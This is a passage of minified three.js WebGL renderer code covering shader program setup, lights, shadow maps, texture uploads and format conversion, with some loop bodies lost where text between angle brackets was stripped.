TEXTURE_LOD_EXT":"","uniform mat4 viewMatrix;","uniform vec3 cameraPosition;","uniform bool isOrthographic;",0!==n.toneMapping?"#define TONE_MAPPING":"",0!==n.toneMapping?ei.tonemapping_pars_fragment:"",0!==n.toneMapping?Lr("toneMapping",n.toneMapping):"",n.dithering?"#define DITHERING":"",ei.encodings_pars_fragment,n.map?Er("mapTexelToLinear",n.mapEncoding):"",n.matcap?Er("matcapTexelToLinear",n.matcapEncoding):"",n.envMap?Er("envMapTexelToLinear",n.envMapEncoding):"",n.emissiveMap?Er("emissiveMapTexelToLinear",n.emissiveMapEncoding):"",n.lightMap?Er("lightMapTexelToLinear",n.lightMapEncoding):"",Ar("linearToOutputTexel",n.outputEncoding),n.depthPacking?"#define DEPTH_PACKING "+n.depthPacking:"","\n"].filter(Rr).join("\n")),h=Ir(h),h=Cr(h,n),h=Pr(h,n),u=Ir(u),u=Cr(u,n),u=Pr(u,n),h=zr(h),u=zr(u),n.isWebGL2&&!0!==n.isRawShaderMaterial&&(w="#version 300 es\n",_=["#define attribute in","#define varying out","#define texture2D texture"].join("\n")+"\n"+_,b=["#define varying in",n.glslVersion===it?"":"out highp vec4 pc_fragColor;",n.glslVersion===it?"":"#define gl_FragColor pc_fragColor","#define gl_FragDepthEXT gl_FragDepth","#define texture2D texture","#define textureCube texture","#define texture2DProj textureProj","#define texture2DLodEXT textureLod","#define texture2DProjLodEXT textureProjLod","#define textureCubeLodEXT textureLod","#define texture2DGradEXT textureGrad","#define texture2DProjGradEXT textureProjGrad","#define textureCubeGradEXT textureGrad"].join("\n")+"\n"+b);const M=w+b+u,S=wr(a,35633,w+_+h),T=wr(a,35632,M);if(a.attachShader(x,S),a.attachShader(x,T),void 0!==n.index0AttributeName?a.bindAttribLocation(x,0,n.index0AttributeName):!0===n.morphTargets&&a.bindAttribLocation(x,0,"position"),a.linkProgram(x),t.debug.checkShaderErrors){const t=a.getProgramInfoLog(x).trim(),e=a.getShaderInfoLog(S).trim(),n=a.getShaderInfoLog(T).trim();let i=!0,r=!0;if(!1===a.getProgramParameter(x,35714)){i=!1;const e=Tr(a,S,"vertex"),n=Tr(a,T,"fragment");console.error("THREE.WebGLProgram: shader error: ",a.getError(),"35715",a.getProgramParameter(x,35715),"gl.getProgramInfoLog",t,e,n)}else""!==t?console.warn("THREE.WebGLProgram: gl.getProgramInfoLog()",t):""!==e&&""!==n||(r=!1);r&&(this.diagnostics={runnable:i,programLog:t,vertexShader:{log:e,prefix:_},fragmentShader:{log:n,prefix:b}})}let E,A;return a.deleteShader(S),a.deleteShader(T),this.getUniforms=function(){return void 0===E&&(E=new br(a,x)),E},this.getAttributes=function(){return void 0===A&&(A=function(t,e){const n={},i=t.getProgramParameter(e,35721);for(let r=0;r0,maxBones:S,useVertexTexture:u,morphTargets:r.morphTargets,morphNormals:r.morphNormals,numDirLights:a.directional.length,numPointLights:a.point.length,numSpotLights:a.spot.length,numRectAreaLights:a.rectArea.length,numHemiLights:a.hemi.length,numDirLightShadows:a.directionalShadowMap.length,numPointLightShadows:a.pointShadowMap.length,numSpotLightShadows:a.spotShadowMap.length,numClippingPlanes:s.numPlanes,numClipIntersection:s.numIntersection,dithering:r.dithering,shadowMapEnabled:t.shadowMap.enabled&&g.length>0,shadowMapType:t.shadowMap.type,toneMapping:r.toneMapped?t.toneMapping:0,physicallyCorrectLights:t.physicallyCorrectLights,premultipliedAlpha:r.premultipliedAlpha,alphaTest:r.alphaTest,doubleSided:2===r.side,flipSided:1===r.side,depthPacking:void 0!==r.depthPacking&&r.depthPacking,index0AttributeName:r.index0AttributeName,extensionDerivatives:r.extensions&&r.extensions.derivatives,extensionFragDepth:r.extensions&&r.extensions.fragDepth,extensionDrawBuffers:r.extensions&&r.extensions.drawBuffers,extensionShaderTextureLOD:r.extensions&&r.extensions.shaderTextureLOD,rendererExtensionFragDepth:o||n.has("EXT_frag_depth"),rendererExtensionDrawBuffers:o||n.has("WEBGL_draw_buffers"),rendererExtensionShaderTextureLod:o||n.has("EXT_shader_texture_lod"),customProgramCacheKey:r.customProgramCacheKey()}},getProgramCacheKey:function(e){const n=[];if(e.shaderID?n.push(e.shaderID):(n.push(e.fragmentShader),n.push(e.vertexShader)),void 0!==e.defines)for(const t in e.defines)n.push(t),n.push(e.defines[t]);if(!1===e.isRawShaderMaterial){for(let t=0;t1&&i.sort(t||Wr),r.length>1&&r.sort(e||jr)}}}function Xr(t){let e=new WeakMap;return{get:function(n,i){let r;return!1===e.has(n)?(r=new qr(t),e.set(n,[r])):i>=e.get(n).length?(r=new qr(t),e.get(n).push(r)):r=e.get(n)[i],r},dispose:function(){e=new WeakMap}}}function Yr(){const t={};return{get:function(e){if(void 0!==t[e.id])return t[e.id];let n;switch(e.type){case"DirectionalLight":n={direction:new xt,color:new je};break;case"SpotLight":n={position:new xt,direction:new xt,color:new je,distance:0,coneCos:0,penumbraCos:0,decay:0};break;case"PointLight":n={position:new xt,color:new je,distance:0,decay:0};break;case"HemisphereLight":n={direction:new xt,skyColor:new je,groundColor:new je};break;case"RectAreaLight":n={color:new je,position:new xt,halfWidth:new xt,halfHeight:new xt}}return t[e.id]=n,n}}}let Zr=0;function Jr(t,e){return(e.castShadow?1:0)-(t.castShadow?1:0)}function Qr(t,e){const n=new Yr,i=function(){const t={};return{get:function(e){if(void 0!==t[e.id])return t[e.id];let n;switch(e.type){case"DirectionalLight":case"SpotLight":n={shadowBias:0,shadowNormalBias:0,shadowRadius:1,shadowMapSize:new lt};break;case"PointLight":n={shadowBias:0,shadowNormalBias:0,shadowRadius:1,shadowMapSize:new lt,shadowCameraNear:1,shadowCameraFar:1e3}}return t[e.id]=n,n}}}(),r={version:0,hash:{directionalLength:-1,pointLength:-1,spotLength:-1,rectAreaLength:-1,hemiLength:-1,numDirectionalShadows:-1,numPointShadows:-1,numSpotShadows:-1},ambient:[0,0,0],probe:[],directional:[],directionalShadow:[],directionalShadowMap:[],directionalShadowMatrix:[],spot:[],spotShadow:[],spotShadowMap:[],spotShadowMatrix:[],rectArea:[],rectAreaLTC1:null,rectAreaLTC2:null,point:[],pointShadow:[],pointShadowMap:[],pointShadowMatrix:[],hemi:[]};for(let t=0;t<9;t++)r.probe.push(new xt);const s=new xt,a=new Jt,o=new Jt;return{setup:function(s){let a=0,o=0,l=0;for(let t=0;t<9;t++)r.probe[t].set(0,0,0);let c=0,h=0,u=0,d=0,p=0,f=0,m=0,g=0;s.sort(Jr);for(let t=0,e=s.length;t0&&(e.isWebGL2||!0===t.has("OES_texture_float_linear")?(r.rectAreaLTC1=ni.LTC_FLOAT_1,r.rectAreaLTC2=ni.LTC_FLOAT_2):!0===t.has("OES_texture_half_float_linear")?(r.rectAreaLTC1=ni.LTC_HALF_1,r.rectAreaLTC2=ni.LTC_HALF_2):console.error("THREE.WebGLRenderer: Unable to use RectAreaLight. Missing WebGL extensions.")),r.ambient[0]=a,r.ambient[1]=o,r.ambient[2]=l;const v=r.hash;v.directionalLength===c&&v.pointLength===h&&v.spotLength===u&&v.rectAreaLength===d&&v.hemiLength===p&&v.numDirectionalShadows===f&&v.numPointShadows===m&&v.numSpotShadows===g||(r.directional.length=c,r.spot.length=u,r.rectArea.length=d,r.point.length=h,r.hemi.length=p,r.directionalShadow.length=f,r.directionalShadowMap.length=f,r.pointShadow.length=m,r.pointShadowMap.length=m,r.spotShadow.length=g,r.spotShadowMap.length=g,r.directionalShadowMatrix.length=f,r.pointShadowMatrix.length=m,r.spotShadowMatrix.length=g,v.directionalLength=c,v.pointLength=h,v.spotLength=u,v.rectAreaLength=d,v.hemiLength=p,v.numDirectionalShadows=f,v.numPointShadows=m,v.numSpotShadows=g,r.version=Zr++)},setupView:function(t,e){let n=0,i=0,l=0,c=0,h=0;const u=e.matrixWorldInverse;for(let e=0,d=t.length;e=n.get(i).length?(s=new Kr(t,e),n.get(i).push(s)):s=n.get(i)[r],s},dispose:function(){n=new WeakMap}}}class ts extends Fe{constructor(t){super(),this.type="MeshDepthMaterial",this.depthPacking=3200,this.skinning=!1,this.morphTargets=!1,this.map=null,this.alphaMap=null,this.displacementMap=null,this.displacementScale=1,this.displacementBias=0,this.wireframe=!1,this.wireframeLinewidth=1,this.fog=!1,this.setValues(t)}copy(t){return super.copy(t),this.depthPacking=t.depthPacking,this.skinning=t.skinning,this.morphTargets=t.morphTargets,this.map=t.map,this.alphaMap=t.alphaMap,this.displacementMap=t.displacementMap,this.displacementScale=t.displacementScale,this.displacementBias=t.displacementBias,this.wireframe=t.wireframe,this.wireframeLinewidth=t.wireframeLinewidth,this}}ts.prototype.isMeshDepthMaterial=!0;class es extends Fe{constructor(t){super(),this.type="MeshDistanceMaterial",this.referencePosition=new xt,this.nearDistance=1,this.farDistance=1e3,this.skinning=!1,this.morphTargets=!1,this.map=null,this.alphaMap=null,this.displacementMap=null,this.displacementScale=1,this.displacementBias=0,this.fog=!1,this.setValues(t)}copy(t){return super.copy(t),this.referencePosition.copy(t.referencePosition),this.nearDistance=t.nearDistance,this.farDistance=t.farDistance,this.skinning=t.skinning,this.morphTargets=t.morphTargets,this.map=t.map,this.alphaMap=t.alphaMap,this.displacementMap=t.displacementMap,this.displacementScale=t.displacementScale,this.displacementBias=t.displacementBias,this}}es.prototype.isMeshDistanceMaterial=!0;function ns(t,e,n){let i=new Qn;const r=new lt,s=new lt,a=new mt,o=[],l=[],c={},h=n.maxTextureSize,u={0:1,1:0,2:2},d=new Gn({defines:{SAMPLE_RATE:2/8,HALF_SAMPLE_RATE:1/8},uniforms:{shadow_pass:{value:null},resolution:{value:new lt},radius:{value:4}},vertexShader:"void main() {\n\tgl_Position = vec4( position, 1.0 );\n}",fragmentShader:"uniform sampler2D shadow_pass;\nuniform vec2 resolution;\nuniform float radius;\n#include \nvoid main() {\n\tfloat mean = 0.0;\n\tfloat squared_mean = 0.0;\n\tfloat depth = unpackRGBAToDepth( texture2D( shadow_pass, ( gl_FragCoord.xy ) / resolution ) );\n\tfor ( float i = -1.0; i < 1.0 ; i += SAMPLE_RATE) {\n\t\t#ifdef HORIZONTAL_PASS\n\t\t\tvec2 distribution = unpackRGBATo2Half( texture2D( shadow_pass, ( gl_FragCoord.xy + vec2( i, 0.0 ) * radius ) / resolution ) );\n\t\t\tmean += distribution.x;\n\t\t\tsquared_mean += distribution.y * distribution.y + distribution.x * distribution.x;\n\t\t#else\n\t\t\tfloat depth = unpackRGBAToDepth( texture2D( shadow_pass, ( gl_FragCoord.xy + vec2( 0.0, i ) * radius ) / resolution ) );\n\t\t\tmean += depth;\n\t\t\tsquared_mean += depth * depth;\n\t\t#endif\n\t}\n\tmean = mean * HALF_SAMPLE_RATE;\n\tsquared_mean = squared_mean * HALF_SAMPLE_RATE;\n\tfloat std_dev = sqrt( squared_mean - mean * mean );\n\tgl_FragColor = pack2HalfToRGBA( vec2( mean, std_dev ) );\n}"}),f=d.clone();f.defines.HORIZONTAL_PASS=1;const m=new vn;m.setAttribute("position",new Ze(new Float32Array([-1,-1,.5,3,-1,.5,-1,3,.5]),3));const v=new Bn(m,d),y=this;function x(n,i){const r=e.update(v);d.uniforms.shadow_pass.value=n.map.texture,d.uniforms.resolution.value=n.mapSize,d.uniforms.radius.value=n.radius,t.setRenderTarget(n.mapPass),t.clear(),t.renderBufferDirect(i,null,r,d,v,null),f.uniforms.shadow_pass.value=n.mapPass.texture,f.uniforms.resolution.value=n.mapSize,f.uniforms.radius.value=n.radius,t.setRenderTarget(n.map),t.clear(),t.renderBufferDirect(i,null,r,f,v,null)}function _(t,e,n){const i=t<<0|e<<1|n<<2;let r=o[i];return void 0===r&&(r=new ts({depthPacking:3201,morphTargets:t,skinning:e}),o[i]=r),r}function b(t,e,n){const i=t<<0|e<<1|n<<2;let r=l[i];return void 0===r&&(r=new es({morphTargets:t,skinning:e}),l[i]=r),r}function w(e,n,i,r,s,a,o){let l=null,h=_,d=e.customDepthMaterial;if(!0===r.isPointLight&&(h=b,d=e.customDistanceMaterial),void 0===d){let t=!1;!0===i.morphTargets&&(t=n.morphAttributes&&n.morphAttributes.position&&n.morphAttributes.position.length>0);let r=!1;!0===e.isSkinnedMesh&&(!0===i.skinning?r=!0:console.warn("THREE.WebGLShadowMap: THREE.SkinnedMesh with material.skinning set to false:",e));l=h(t,r,!0===e.isInstancedMesh)}else l=d;if(t.localClippingEnabled&&!0===i.clipShadows&&0!==i.clippingPlanes.length){const t=l.uuid,e=i.uuid;let n=c[t];void 0===n&&(n={},c[t]=n);let r=n[e];void 0===r&&(r=l.clone(),n[e]=r),l=r}return l.visible=i.visible,l.wireframe=i.wireframe,l.side=3===o?null!==i.shadowSide?i.shadowSide:i.side:null!==i.shadowSide?i.shadowSide:u[i.side],l.clipShadows=i.clipShadows,l.clippingPlanes=i.clippingPlanes,l.clipIntersection=i.clipIntersection,l.wireframeLinewidth=i.wireframeLinewidth,l.linewidth=i.linewidth,!0===r.isPointLight&&!0===l.isMeshDistanceMaterial&&(l.referencePosition.setFromMatrixPosition(r.matrixWorld),l.nearDistance=s,l.farDistance=a),l}function M(n,r,s,a,o){if(!1===n.visible)return;if(n.layers.test(r.layers)&&(n.isMesh||n.isLine||n.isPoints)&&(n.castShadow||n.receiveShadow&&3===o)&&(!n.frustumCulled||i.intersectsObject(n))){n.modelViewMatrix.multiplyMatrices(s.matrixWorldInverse,n.matrixWorld);const i=e.update(n),r=n.material;if(Array.isArray(r)){const e=i.groups;for(let l=0,c=e.length;lh||r.y>h)&&(r.x>h&&(s.x=Math.floor(h/f.x),r.x=s.x*f.x,u.mapSize.x=s.x),r.y>h&&(s.y=Math.floor(h/f.y),r.y=s.y*f.y,u.mapSize.y=s.y)),null===u.map&&!u.isPointLightShadow&&3===this.type){const t={minFilter:g,magFilter:g,format:E};u.map=new gt(r.x,r.y,t),u.map.texture.name=c.name+".shadowMap",u.mapPass=new gt(r.x,r.y,t),u.camera.updateProjectionMatrix()}if(null===u.map){const t={minFilter:p,magFilter:p,format:E};u.map=new gt(r.x,r.y,t),u.map.texture.name=c.name+".shadowMap",u.camera.updateProjectionMatrix()}t.setRenderTarget(u.map),t.clear();const m=u.getViewportCount();for(let t=0;t=1):-1!==R.indexOf("OpenGL ES")&&(L=parseFloat(/^OpenGL ES (\d)/.exec(R)[1]),A=L>=2);let C=null,P={};const D=new mt(0,0,t.canvas.width,t.canvas.height),I=new mt(0,0,t.canvas.width,t.canvas.height);function N(e,n,i){const r=new Uint8Array(4),s=t.createTexture();t.bindTexture(e,s),t.texParameteri(e,10241,9728),t.texParameteri(e,10240,9728);for(let e=0;ei||t.height>i)&&(r=i/Math.max(t.width,t.height)),r<1||!0===e){if("undefined"!=typeof HTMLImageElement&&t instanceof HTMLImageElement||"undefined"!=typeof HTMLCanvasElement&&t instanceof HTMLCanvasElement||"undefined"!=typeof ImageBitmap&&t instanceof ImageBitmap){const i=e?ot.floorPowerOfTwo:Math.floor,s=i(r*t.width),a=i(r*t.height);void 0===P&&(P=I(s,a));const o=n?I(s,a):P;o.width=s,o.height=a;return o.getContext("2d").drawImage(t,0,0,s,a),console.warn("THREE.WebGLRenderer: Texture has been resized from ("+t.width+"x"+t.height+") to ("+s+"x"+a+")."),o}return"data"in t&&console.warn("THREE.WebGLRenderer: Image in DataTexture is too big ("+t.width+"x"+t.height+")."),t}return t}function B(t){return ot.isPowerOfTwo(t.width)&&ot.isPowerOfTwo(t.height)}function O(t,e){return t.generateMipmaps&&e&&t.minFilter!==p&&t.minFilter!==g}function z(e,n,r,s){t.generateMipmap(e);i.get(n).__maxMipLevel=Math.log2(Math.max(r,s))}function F(n,i,r){if(!1===o)return i;if(null!==n){if(void 0!==t[n])return t[n];console.warn("THREE.WebGLRenderer: Attempt to use non-existing WebGL internal format '"+n+"'")}let s=i;return 6403===i&&(5126===r&&(s=33326),5131===r&&(s=33325),5121===r&&(s=33321)),6407===i&&(5126===r&&(s=34837),5131===r&&(s=34843),5121===r&&(s=32849)),6408===i&&(5126===r&&(s=34836),5131===r&&(s=34842),5121===r&&(s=32856)),33325!==s&&33326!==s&&34842!==s&&34836!==s||e.get("EXT_color_buffer_float"),s}function H(t){return t===p||t===f||t===m?9728:9729}function U(e){const n=e.target;n.removeEventListener("dispose",U),function(e){const n=i.get(e);if(void 0===n.__webglInit)return;t.deleteTexture(n.__webglTexture),i.remove(e)}(n),n.isVideoTexture&&C.delete(n),a.memory.textures--}function G(e){const n=e.target;n.removeEventListener("dispose",G),function(e){const n=e.texture,r=i.get(e),s=i.get(n);if(!e)return;void 0!==s.__webglTexture&&t.deleteTexture(s.__webglTexture);e.depthTexture&&e.depthTexture.dispose();if(e.isWebGLCubeRenderTarget)for(let e=0;e<6;e++)t.deleteFramebuffer(r.__webglFramebuffer[e]),r.__webglDepthbuffer&&t.deleteRenderbuffer(r.__webglDepthbuffer[e]);else t.deleteFramebuffer(r.__webglFramebuffer),r.__webglDepthbuffer&&t.deleteRenderbuffer(r.__webglDepthbuffer),r.__webglMultisampledFramebuffer&&t.deleteFramebuffer(r.__webglMultisampledFramebuffer),r.__webglColorRenderbuffer&&t.deleteRenderbuffer(r.__webglColorRenderbuffer),r.__webglDepthRenderbuffer&&t.deleteRenderbuffer(r.__webglDepthRenderbuffer);i.remove(n),i.remove(e)}(n),a.memory.textures--}let k=0;function V(t,e){const r=i.get(t);if(t.isVideoTexture&&function(t){const e=a.render.frame;C.get(t)!==e&&(C.set(t,e),t.update())}(t),t.version>0&&r.__version!==t.version){const n=t.image;if(void 0===n)console.warn("THREE.WebGLRenderer: Texture marked for update but image is undefined");else{if(!1!==n.complete)return void Z(r,t,e);console.warn("THREE.WebGLRenderer: Texture marked for update but image is incomplete")}}n.activeTexture(33984+e),n.bindTexture(3553,r.__webglTexture)}function W(e,r){const a=i.get(e);e.version>0&&a.__version!==e.version?function(e,i,r){if(6!==i.image.length)return;Y(e,i),n.activeTexture(33984+r),n.bindTexture(34067,e.__webglTexture),t.pixelStorei(37440,i.flipY),t.pixelStorei(37441,i.premultiplyAlpha),t.pixelStorei(3317,i.unpackAlignment),t.pixelStorei(37443,0);const a=i&&(i.isCompressedTexture||i.image[0].isCompressedTexture),l=i.image[0]&&i.image[0].isDataTexture,h=[];for(let t=0;t<6;t++)h[t]=a||l?l?i.image[t].image:i.image[t]:N(i.image[t],!1,!0,c);const u=h[0],d=B(u)||o,p=s.convert(i.format),f=s.convert(i.type),m=F(i.internalFormat,p,f);let g;if(X(34067,i,d),a){for(let t=0;t<6;t++){g=h[t].mipmaps;for(let e=0;e1||i.get(s).__currentAnisotropy)&&(t.texParameterf(n,a.TEXTURE_MAX_ANISOTROPY_EXT,Math.min(s.anisotropy,r.getMaxAnisotropy())),i.get(s).__currentAnisotropy=s.anisotropy)}}function Y(e,n){void 0===e.__webglInit&&(e.__webglInit=!0,n.addEventListener("dispose",U),e.__webglTexture=t.createTexture(),a.memory.textures++)}function Z(e,i,r){let a=3553;i.isDataTexture2DArray&&(a=35866),i.isDataTexture3D&&(a=32879),Y(e,i),n.activeTexture(33984+r),n.bindTexture(a,e.__webglTexture),t.pixelStorei(37440,i.flipY),t.pixelStorei(37441,i.premultiplyAlpha),t.pixelStorei(3317,i.unpackAlignment),t.pixelStorei(37443,0);const l=function(t){return!o&&(t.wrapS!==u||t.wrapT!==u||t.minFilter!==p&&t.minFilter!==g)}(i)&&!1===B(i.image),c=N(i.image,l,!1,x),h=B(c)||o,d=s.convert(i.format);let f,m=s.convert(i.type),v=F(i.internalFormat,d,m);X(a,i,h);const y=i.mipmaps;if(i.isDepthTexture)v=6402,o?v=i.type===w?36012:i.type===b?33190:i.type===S?35056:33189:i.type===w&&console.error("WebGLRenderer: Floating point depth texture requires WebGL2."),i.format===A&&6402===v&&i.type!==_&&i.type!==b&&(console.warn("THREE.WebGLRenderer: Use UnsignedShortType or UnsignedIntType for DepthFormat DepthTexture."),i.type=_,m=s.convert(i.type)),i.format===L&&6402===v&&(v=34041,i.type!==S&&(console.warn("THREE.WebGLRenderer: Use UnsignedInt248Type for DepthStencilFormat DepthTexture."),i.type=S,m=s.convert(i.type))),n.texImage2D(3553,0,v,c.width,c.height,0,d,m,null);else if(i.isDataTexture)if(y.length>0&&h){for(let t=0,e=y.length;t0&&h){for(let t=0,e=y.length;t=l&&console.warn("THREE.WebGLTextures: Trying to use "+t+" texture units while this GPU supports only "+l),k+=1,t},this.resetTextureUnits=function(){k=0},this.setTexture2D=V,this.setTexture2DArray=function(t,e){const r=i.get(t);t.version>0&&r.__version!==t.version?Z(r,t,e):(n.activeTexture(33984+e),n.bindTexture(35866,r.__webglTexture))},this.setTexture3D=function(t,e){const r=i.get(t);t.version>0&&r.__version!==t.version?Z(r,t,e):(n.activeTexture(33984+e),n.bindTexture(32879,r.__webglTexture))},this.setTextureCube=W,this.setupRenderTarget=function(e){const r=e.texture,l=i.get(e),c=i.get(r);e.addEventListener("dispose",G),c.__webglTexture=t.createTexture(),c.__version=r.version,a.memory.textures++;const h=!0===e.isWebGLCubeRenderTarget,u=!0===e.isWebGLMultisampleRenderTarget,d=r.isDataTexture3D||r.isDataTexture2DArray,p=B(e)||o;if(!o||r.format!==T||r.type!==w&&r.type!==M||(r.format=E,console.warn("THREE.WebGLRenderer: Rendering to textures with RGB format is not supported. Using RGBA format instead.")),h){l.__webglFramebuffer=[];for(let e=0;e<6;e++)l.__webglFramebuffer[e]=t.createFramebuffer()}else if(l.__webglFramebuffer=t.createFramebuffer(),u)if(o){l.__webglMultisampledFramebuffer=t.createFramebuffer(),l.__webglColorRenderbuffer=t.createRenderbuffer(),t.bindRenderbuffer(36161,l.__webglColorRenderbuffer);const i=s.convert(r.format),a=s.convert(r.type),o=F(r.internalFormat,i,a),c=$(e);t.renderbufferStorageMultisample(36161,c,o,e.width,e.height),n.bindFramebuffer(36160,l.__webglMultisampledFramebuffer),t.framebufferRenderbuffer(36160,36064,36161,l.__webglColorRenderbuffer),t.bindRenderbuffer(36161,null),e.depthBuffer&&(l.__webglDepthRenderbuffer=t.createRenderbuffer(),Q(l.__webglDepthRenderbuffer,e,!0)),n.bindFramebuffer(36160,null)}else console.warn("THREE.WebGLRenderer: WebGLMultisampleRenderTarget can only be used with WebGL2.");if(h){n.bindTexture(34067,c.__webglTexture),X(34067,r,p);for(let t=0;t<6;t++)J(l.__webglFramebuffer[t],e,36064,34069+t);O(r,p)&&z(34067,r,e.width,e.height),n.bindTexture(34067,null)}else{let t=3553;if(d)if(o){t=r.isDataTexture3D?32879:35866}else console.warn("THREE.DataTexture3D and THREE.DataTexture2DArray only supported with WebGL2.");n.bindTexture(t,c.__webglTexture),X(t,r,p),J(l.__webglFramebuffer,e,36064,t),O(r,p)&&z(3553,r,e.width,e.height),n.bindTexture(3553,null)}e.depthBuffer&&K(e)},this.updateRenderTargetMipmap=function(t){const e=t.texture;if(O(e,B(t)||o)){const r=t.isWebGLCubeRenderTarget?34067:3553,s=i.get(e).__webglTexture;n.bindTexture(r,s),z(r,e,t.width,t.height),n.bindTexture(r,null)}},this.updateMultisampleRenderTarget=function(e){if(e.isWebGLMultisampleRenderTarget)if(o){const r=i.get(e);n.bindFramebuffer(36008,r.__webglMultisampledFramebuffer),n.bindFramebuffer(36009,r.__webglFramebuffer);const s=e.width,a=e.height;let o=16384;e.depthBuffer&&(o|=256),e.stencilBuffer&&(o|=1024),t.blitFramebuffer(0,0,s,a,0,0,s,a,o,9728),n.bindFramebuffer(36160,r.__webglMultisampledFramebuffer)}else console.warn("THREE.WebGLRenderer: WebGLMultisampleRenderTarget can only be used with WebGL2.")},this.safeSetTexture2D=function(t,e){t&&t.isWebGLRenderTarget&&(!1===tt&&(console.warn("THREE.WebGLTextures.safeSetTexture2D: don't use render targets as textures. Use their .texture property instead."),tt=!0),t=t.texture),V(t,e)},this.safeSetTextureCube=function(t,e){t&&t.isWebGLCubeRenderTarget&&(!1===et&&(console.warn("THREE.WebGLTextures.safeSetTextureCube: don't use cube render targets as textures. Use their .texture property instead."),et=!0),t=t.texture),W(t,e)}}function ss(t,e,n){const i=n.isWebGL2;return{convert:function(t){let n;if(t===x)return 5121;if(1017===t)return 32819;if(1018===t)return 32820;if(1019===t)return 33635;if(1010===t)return 5120;if(1011===t)return 5122;if(t===_)return 5123;if(1013===t)return 5124;if(t===b)return 5125;if(t===w)return 5126;if(t===M)return i?5131:(n=e.get("OES_texture_half_float"),null!==n?n.HALF_FLOAT_OES:null);if(1021===t)return 6406;if(t===T)return 6407;if(t===E)return 6408;if(1024===t)return 6409;if(1025===t)return 6410;if(t===A)return 6402;if(t===L)return 34041;if(1028===t)return 6403;if(1029===t)return 36244;if(1030===t)return 33319;if(1031===t)return 33320;if(1032===t)return 36248;if(1033===t)return 36249;if(t===R||t===C||t===P||t===D){if(n=e.get("WEBGL_compressed_texture_s3tc"),null===n)return null;if(t===R)return n.COMPRESSED_RGB_S3TC_DXT1_EXT;if(t===C)return n.COMPRESSED_RGBA_S3TC_DXT1_EXT;if(t===P)return n.COMPRESSED_RGBA_S3TC_DXT3_EXT;if(t===D)return n.COMPRESSED_RGBA_S3TC_DXT5_EXT}if(t===I||t===N||t===B||t===O){if(n=e.get("WEBGL_compressed_texture_pvrtc"),null===n)return null;if(t===I)return n.COMPRESSED_RGB_PVRTC_4BPPV1_IMG;if(t===N)return n.COMPRESSED_RGB_PVRTC_2BPPV1_IMG;if(t===B)return n.COMPRESSED_RGBA_PVRTC_4BPPV1_IMG;if(t===O)return n.COMPRESSED_RGBA_PVRTC_2BPPV1_IMG}if(36196===t)return n=e.get("WEBGL_compressed_texture_etc1"),null!==n?n.COMPRESSED_RGB_ETC1_WEBGL:null;if((t===z||t===F)&&(n=e.get("WEBGL_compressed_texture_etc"),null!==n)){if(t===z)return n.COMPRESSED_RGB8_ETC2;if(t===F)return n.COMPRESSED_RGBA8_ETC2_EAC}return 37808===t||37809===t||37810===t||37811===t||37812===t||37813===t||37814===t||37815===t||37816===t||37817===t||37818===t||37819===t||37820===t||37821===t||37840===t||37841===t||37842===t||37843===t||37844===t||37845===t||37846===t||37847===t||37848===t||37849===t||37850===t||37851===t||37852===t||37853===t?(n=e.get("WEBGL_compressed_texture_astc"),null!==n?t:null):36492===t?(n=e.get("EXT_texture_compression_bptc"),null!==n?t:null):t===S?i?34042:(n=e.get("WEBGL_depth_texture"),null!==n?n.UNSIGNED_INT_24_8_WEBGL:null):void 0}}}class as extends Vn{constructor(t=[]){super(),this.cameras=t}}as.prototype.isArrayCamera=!0;class os extends be{constructor(){super(),this.type="Group"}}function ls(){this._targetRay=null,this._grip=null,this._hand=null}function cs(t,e){const n=this,i=t.state;let r=null,s=1,a=null,o="local-floor",l=null;const c=[],h=new Map,u=new Vn;u.layers.enable(1),u.viewport=new mt;const d=new Vn;d.layers.enable(2),d.viewport=new mt;const p=[u,d],f=new as;f.layers.enable(1),f.layers.enable(2);let m=null,g=null;function v(t){const e=h.get(t.inputSource);e&&e.dispatchEvent({type:t.type,data:t.inputSource})}function y(){h.forEach((function(t,e){t.disconnect(e)})),h.clear(),m=null,g=null,i.bindXRFramebuffer(null),t.setRenderTarget(t.getRenderTarget()),S.stop(),n.isPresenting=!1,n.dispatchEvent({type:"sessionend"})}function x(t){const e=r.inputSources;for(let t=0;t0&&Rt(s,t,e),a.length>0&&Rt(a,t,e),null!==_&&(J.updateRenderTargetMipmap(_),J.updateMultisampleRenderTarget(_)),!0===t.isScene&&t.onAfterRender(m,t,e),q.buffers.depth.setTest(!0),q.buffers.depth.setMask(!0),q.buffers.color.setMask(!0),q.setPolygonOffset(!1),ft.resetDefaultState(),b=-1,S=null,f.pop(),d=f.length>0?f[f.length-1]:null,p.pop(),u=p.length>0?p[p.length-1]:null},this.getActiveCubeFace=function(){return v},this.getActiveMipmapLevel=function(){return y},this.getRenderTarget=function(){return _},this.setRenderTarget=function(t,e=0,n=0){_=t,v=e,y=n,t&&void 0===Z.get(t).__webglFramebuffer&&J.setupRenderTarget(t);let i=null,r=!1,s=!1;if(t){const n=t.texture;(n.isDataTexture3D||n.isDataTexture2DArray)&&(s=!0);const a=Z.get(t).__webglFramebuffer;t.isWebGLCubeRenderTarget?(i=a[e],r=!0):i=t.isWebGLMultisampleRenderTarget?Z.get(t).__webglMultisampledFramebuffer:a,T.copy(t.viewport),A.copy(t.scissor),L=t.scissorTest}else T.copy(N).multiplyScalar(P).floor(),A.copy(B).multiplyScalar(P).floor(),L=O;if(q.bindFramebuffer(36160,i),q.viewport(T),q.scissor(A),q.setScissorTest(L),r){const i=Z.get(t.texture);gt.framebufferTexture2D(36160,36064,34069+e,i.__webglTexture,n)}else if(s){const i=Z.get(t.texture),r=e||0;gt.framebufferTextureLayer(36160,36064,i.__webglTexture,n||0,r)}},this.readRenderTargetPixels=function(t,e,n,i,r,s,a){if(!t||!t.isWebGLRenderTarget)return void console.error("THREE.WebGLRenderer.readRenderTargetPixels: renderTarget is not THREE.WebGLRenderTarget.");let o=Z.get(t).__webglFramebuffer;if(t.isWebGLCubeRenderTarget&&void 0!==a&&(o=o[a]),o){q.bindFramebuffer(36160,o);try{const a=t.texture,o=a.format,l=a.type;if(o!==E&&pt.convert(o)!==gt.getParameter(35739))return void console.error("THREE.WebGLRenderer.readRenderTargetPixels: renderTarget is not in RGBA or implementation defined format.");const c=l===M&&(W.has("EXT_color_buffer_half_float")||j.isWebGL2&&W.has("EXT_color_buffer_float"));if(!(l===x||pt.convert(l)===gt.getParameter(35738)||l===w&&(j.isWebGL2||W.has("OES_texture_float")||W.has("WEBGL_color_buffer_float"))||c))return void console.error("THREE.WebGLRenderer.readRenderTargetPixels: renderTarget is not in UnsignedByteType or implementation defined 